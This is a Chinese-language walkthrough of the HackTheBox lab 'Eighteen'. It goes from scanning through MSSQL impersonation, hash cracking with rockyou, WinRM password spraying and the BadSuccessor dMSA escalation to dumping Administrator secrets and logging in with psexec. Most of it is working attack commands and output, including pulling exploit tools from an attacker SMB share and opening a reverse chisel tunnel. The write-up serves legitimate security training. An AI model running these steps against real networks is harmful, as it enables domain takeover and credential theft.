HTB:Eighteen[WriteUP]

目录

信息收集

使用rustscan对靶机TCP端口进行开放扫描

使用nmap对靶机TCP开放端口进行版本、脚本扫描

使用nmap对靶机UDP端口进行开放扫描

使用nmap对靶机UDP开放端口进行版本、脚本、漏洞扫描

将靶机IP与靶机域名进行绑定解析

使用curl访问靶机80端口HTTP服务

使用ffuf对靶机WebAPP进行路径FUZZ

使用浏览器进行访问

尝试注册一个账号

使用刚刚注册的账号登录该WebAPP

边界突破

使用sqlmap尝试对数据库进行简单自动化注入

使用ghauri再次进行尝试

使用impacket-mssqlclient通过kevin凭据进行登录

列出users表所有数据

哈希格式变换

使用hashcat对哈希进行爆破

由于靶机未开放Kerberos服务,使用nxc枚举靶机上的本地用户

使用获取到的用户列表对靶机winrm服务进行密码喷洒

使用evil-winrm通过上述凭据连接至靶机winrm服务

权限提升

查询该系统版本

查询该系统位数

查询权限提升所需信息

在Github上检索dMSA权限提升脚本

控制靶机连接攻击机创建的SMB服务,以便传输权限提升脚本

向靶机时间进行同步

使用impacket-getST获取脚本创建的dMSA账户的TGS票据

使用impacket-secretsdump通过dMSA账户的TGS票据转储administrator账户的哈希密码

使用impacket-psexec通过administraotr哈希密码进行登录


连接至HTB服务器并启动靶机

靶机IP:10.10.11.95

分配IP:10.10.16.5


信息收集

使用rustscan对靶机TCP端口进行开放扫描

bash 复制代码
rustscan -a 10.10.11.95 -t 5000 --ulimit 5000

使用nmap对靶机TCP开放端口进行版本、脚本扫描

bash 复制代码
nmap -sS -p80,1433,5985 -sCV -Pn 10.10.11.95

使用nmap对靶机UDP端口进行开放扫描

bash 复制代码
nmap -sU --top-ports 50 -Pn 10.10.11.95

使用nmap对靶机UDP开放端口进行版本、脚本、漏洞扫描

bash 复制代码
nmap -sU -p53 -sCV --script=vuln -Pn 10.10.11.95

将靶机IP与靶机域名进行绑定解析

bash 复制代码
echo '10.10.11.95 eighteen.htb' >> /etc/hosts

使用curl访问靶机80端口HTTP服务

bash 复制代码
curl -I http://eighteen.htb/

┌──(root㉿kali)-/home/kali/Desktop/tool/chisel

└─# curl -I http://eighteen.htb/

HTTP/1.1 200 OK

Content-Length: 2253

Content-Type: text/html; charset=utf-8

Vary: Cookie

Server: Microsoft-IIS/10.0

Date: Tue, 09 Dec 2025 08:54:50 GMT

使用ffuf对靶机WebAPP进行路径FUZZ

bash 复制代码
ffuf -u http://eighteen.htb/FUZZ -w dictionary/common.txt

使用浏览器进行访问

尝试注册一个账号
使用刚刚注册的账号登录该WebAPP
  • 成功登入
  • 点击右上角的Admin按钮,提示需要Admin用户权限

边界突破

使用sqlmap尝试对数据库进行简单自动化注入

bash 复制代码
sqlmap -r req.txt --batch --dbs --dbms=mssql
  • 结果就是什么也没有

使用ghauri再次进行尝试

bash 复制代码
ghauri -r req.txt --batch --dbs --dbms mssql

使用impacket-mssqlclient通过kevin凭据进行登录

bash 复制代码
impacket-mssqlclient eighteen.htb/'kevin':'iNa2we6haRj2gaw!'@10.10.11.95
  • 枚举系统登录用户
bash 复制代码
enum_logins
  • 模拟appdev系统用户上下文
bash 复制代码
exec_as_login appdev
  • 枚举所有数据库
bash 复制代码
enum_db

SQL (appdev appdev@master)> enum_db

name is_trustworthy_on


master 0

tempdb 0

model 0

msdb 1

financial_planner 0

  • 切换到financial_planner数据库并列出该数据库所有用户表
bash 复制代码
use financial_planner;select name from sysobjects where xtype='U';

SQL (appdev appdev@master)> use financial_planner;

ENVCHANGE(DATABASE): Old Value: master, New Value: financial_planner

INFO(DC01): Line 1: Changed database context to 'financial_planner'.

SQL (appdev appdev@financial_planner)> select name from sysobjects where xtype='U';

name


users

incomes

expenses

allocations

analytics

visits

列出users表所有数据

bash 复制代码
select * from users;

SQL (appdev appdev@financial_planner)> select * from users;

id full_name username email password_hash

is_admin created_at



1002 admin admin admin@eighteen.htb pbkdf2:sha256:600000AMtzteQIG7yAbZIa0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c

887133 1 2025-10-29 05:39:03

  • 使用hashcat结合哈希关键字列出可能的哈希类型
bash 复制代码
hashcat --help | grep -i PBKDF2 | grep -i SHA256
  • 将该哈希直接扔给大模型,判断该哈希类型
  • 使用hashcat查看该类型格式
bash 复制代码
hashcat -m 10000 --example-hashes
哈希格式变换
  • 原始哈希部分为十六进制格式,需要进行一次base64编码
bash 复制代码
echo '0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133' | xxd -r -p | base64 -w0
  • 并将"pbkdf2:sha256:600000"中间的两个冒号,分别换成下划线、美元符

pbkdf2_sha256$600000

  • 格式变更后的完整哈希
bash 复制代码
echo 'pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=' > hash.txt
使用hashcat对哈希进行爆破
bash 复制代码
hashcat -a 0 -m 10000 hash.txt ../dictionary/rockyou.txt
  • 完整凭据

用户:admin

密码:iloveyou1

  • 使用该凭据可以成功使用admin身份登录WebAPP,证明凭据可用

由于靶机未开放Kerberos服务,使用nxc枚举靶机上的本地用户

bash 复制代码
nxc mssql 10.10.11.95 -u 'kevin' -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute | grep 'EIGHTEEN' | cut -d'\' -f2 | tee users.txt

使用获取到的用户列表对靶机winrm服务进行密码喷洒

bash 复制代码
nxc winrm 10.10.11.95 -u users.txt -p 'iloveyou1' --continue-on-success
  • 获取到凭据

用户:adam.scott

密码:iloveyou1

使用evil-winrm通过上述凭据连接至靶机winrm服务

bash 复制代码
evil-winrm -i 10.10.11.95 -u 'adam.scott' -p 'iloveyou1'

权限提升

查询该系统版本

bash 复制代码
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
  • 由输出可见,该系统版本为:Windows Server 2025 Datacenter

*Evil-WinRM* PS C:\Users\adam.scott\Documents> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion

ProductName REG_SZ Windows Server 2025 Datacenter

查询该系统位数

bash 复制代码
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
  • 由输出可见,该系统版本为:AMD64,即为x64
  • 在Google上检索该漏洞是否有权限提升漏洞
  • 简单研读后,对该权限提升路径有以下解读,并且尝试利用:
  1. 当前用户对某个OU 拥有CreateChild权限,且该OU允许创建msDS-ManagedServiceAccount类型对象(即 dMSA/gMSA)。

  2. 攻击者在该 OU 中创建一个 dMSA 账户,该账户作为 AD 中的安全主体(Security Principal),默认拥有与普通用户类似的认证能力。

  3. 由于dMSA的密码由系统自动管理,但其身份可被用于 Kerberos 认证,攻击者可通过SMB 中继(Relay)或本地提取等方式获取其NTLM哈希或票据。

  4. 若该dMSA被显式加入高权限组(如 Domain Admins),或通过ACL滥用(如对域控计算机对象拥有写权限),即可直接执行高权限操作。

  5. 关键点:dMSA本身不是提权载体,而是利用其作为"合法账户"身份 + 目标环境中的错误配置(如过度委派、ACL 宽松)实现权限提升。

查询权限提升所需信息

  • 先加载PowerView.ps1
bash 复制代码
. .\PowerView.ps1
  • 查看当前用户名
bash 复制代码
whoami

*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> whoami

eighteen\adam.scott

  • 获取当前用户所在OU信息
bash 复制代码
(Get-DomainUser -Identity $env:USERNAME).distinguishedname

*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> (Get-DomainUser -Identity $env:USERNAME).distinguishedname

CN=adam.scott,OU=Staff,DC=eighteen,DC=htb

  • 查询完整主机名
bash 复制代码
([System.Net.Dns]::GetHostEntry("localhost")).HostName

*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> (System.Net.Dns::GetHostEntry("localhost")).HostName

DC01.eighteen.htb

在Github上检索dMSA权限提升脚本

  • 检索关键词:BadSuccessor

控制靶机连接攻击机创建的SMB服务,以便传输权限提升脚本

  • 在攻击机开启SMB服务器、chisel服务器

┌──(root㉿x0da6h)-/home/kali/Desktop/temp

└─# jobs

1 running nohup openvpn --config lab_x0da6h.ovpn > /dev/null

2 - running nohup impacket-smbserver temp . -smb2support 2> /dev/null

3 + running nohup ../tool/chisel/chisel64 server -p 8888 --reverse 2> /dev/null

  • 控制靶机连接攻击机SMB服务器
bash 复制代码
net use Z: \\10.10.16.23\temp
  • 拷贝BadSuccessor利用脚本至本地
bash 复制代码
copy Z:\\Invoke-BadSuccessor.ps1 .\

*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> net use Z: \\10.10.16.23\temp

The command completed successfully.

*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> copy Z:\\Invoke-BadSuccessor.ps1 .\

*Evil-WinRM* PS C:\Users\adam.scott\Music\x0da6h> ls

Directory: C:\Users\adam.scott\Music\x0da6h

Mode LastWriteTime Length Name


-a---- 12/22/2025 12:55 AM 25113 Invoke-BadSuccessor.ps1

  • 加载该脚本
bash 复制代码
. .\Invoke-BadSuccessor.ps1
  • 执行该脚本主函数
bash 复制代码
Invoke-BadSuccessor
  • 由于攻击机无法直接访问域控,因此需要通过chisel做隧道,将该工具拷贝到靶机
bash 复制代码
copy Z:\\chisel64.exe .\
  • 连接至chisel服务器
bash 复制代码
.\chisel64.exe client 10.10.16.23:8888 R:socks

向靶机时间进行同步

  • 获取靶机UTC时间
bash 复制代码
[DateTime]::UtcNow.ToString("yyyy-MM-dd HH:mm:ss")

*Evil-WinRM* PS C:\Users\adam.scott\Documents> DateTime::UtcNow.ToString("yyyy-MM-dd HH:mm:ss")

2025-12-26 13:04:40

  • 在攻击机设置相同的时间
bash 复制代码
date -s '2025-12-26 13:04:40'

使用impacket-getST获取脚本创建的dMSA账户的TGS票据

bash 复制代码
proxychains4 getST.py 'eighteen.htb/Pwn$:Password123!' -k -no-pass -dmsa -self -impersonate 'attacker_dMSA$'

使用impacket-secretsdump通过dMSA账户的TGS票据转储administrator账户的哈希密码

bash 复制代码
KRB5CCNAME=/home/kali/Desktop/temp/'attacker_dMSA$@krbtgt_EIGHTEEN.HTB@EIGHTEEN.HTB.ccache' proxychains4 impacket-secretsdump -k -no-pass DC01.eighteen.htb -just-dc-user Administrator
使用impacket-psexec通过administraotr哈希密码进行登录
bash 复制代码
proxychains4 impacket-psexec eighteen.htb/administrator@DC01.eighteen.htb -no-pass -k -aesKey '1acd569d364cbf11302bfe05a42c4fa5a7794bab212d0cda92afb586193eaeb2'
  • 在C:\Users\Administrator\Desktop目录下找到flag
相关推荐
见青..3 小时前
phpMyAdmin权限提升
web安全·网络安全·phpmyadmin
数据知道4 小时前
邮件安全实战:SPF/DKIM/DMARC 配置与钓鱼绕过
网络·安全·web安全·网络安全·邮件安全
世界尽头与你8 小时前
Android Root 检测原理
android·安全·网络安全·渗透测试
kp000008 小时前
如何平衡模型输出的“有用性”和“安全性
人工智能·安全·网络安全·信息安全·ai安全
世界尽头与你10 小时前
iOS 越狱检测原理
安全·网络安全·ios·信息安全·渗透测试
kp000001 天前
大模型输出造成信息泄露类型
人工智能·网络安全·信息安全·ai安全
kp000001 天前
System Prompt Leakage(系统提示词泄露)及安全防御
网络·安全·网络安全·信息安全·prompt·ai安全
X7x51 天前
攻防对抗的结构化思维:深度拆解网络杀伤链(Kill Chain)与现代防御演进
网络安全·网络攻击模型·安全架构·网络杀伤链·kill chain
kp000001 天前
AI大模型,如何区分善意提问与Prompt注入攻击
人工智能·网络安全·信息安全·prompt·ai安全
kp000001 天前
AI系统输入安全基线
人工智能·安全·网络安全·信息安全·ai安全